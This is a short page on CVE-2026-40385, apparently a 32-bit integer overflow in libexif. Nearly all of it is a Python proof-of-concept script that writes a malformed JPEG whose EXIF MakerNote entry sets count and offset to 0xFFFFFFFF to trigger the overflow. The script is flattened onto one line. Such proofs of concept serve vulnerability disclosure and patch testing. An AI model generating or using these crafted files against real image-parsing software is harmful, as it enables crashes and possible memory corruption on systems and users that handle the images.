CVE-2026-40385 libexif 32位整数溢出漏洞

import struct # Conceptual PoC for CVE-2026-40385 # This script creates a JPEG file with a malformed EXIF MakerNote # designed to trigger an integer overflow on 32-bit libexif. def create_malicious_jpeg(filename): # JPEG Start of Image (SOI) soi = b'\xff\xd8' # APP1 Marker (EXIF) app1_marker = b'\xff\xe1' # Placeholder for length (will be updated) exif_header = b'Exif\x00\x00' tiff_header = b'II' + struct.pack('<H', 42) + b'\x00\x00\x00\x08' # IFD0 construction pointing to MakerNote # Entry count ifd0_count = struct.pack('<H', 1) # Tag 0x927C (MakerNote) maker_note_tag = struct.pack('<H', 0x927C) type = struct.pack('<H', 7) # Undefined # Malicious count/offset to trigger overflow (e.g., 0xFFFFFFFF) # This value attempts to cause an overflow in length calculation malicious_value = struct.pack('<I', 0xFFFFFFFF) ifd0_entry = maker_note_tag + type + malicious_value + malicious_value # Next IFD offset (0) next_ifd = struct.pack('<I', 0) # Combine APP1 data app1_data = exif_header + tiff_header + ifd0_count + ifd0_entry + next_ifd app1_length = struct.pack('>H', len(app1_data) + 2) # JPEG End of Image (EOI) eoi = b'\xff\xd9' with open(filename, 'wb') as f: f.write(soi) f.write(app1_marker + app1_length + app1_data) # Minimal valid image data needed for some parsers f.write(b'\xff\xc0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01') f.write(eoi) print(f"Malicious JPEG file created: {filename}") if __name__ == "__main__": create_malicious_jpeg("cve_2026_40385_poc.jpg")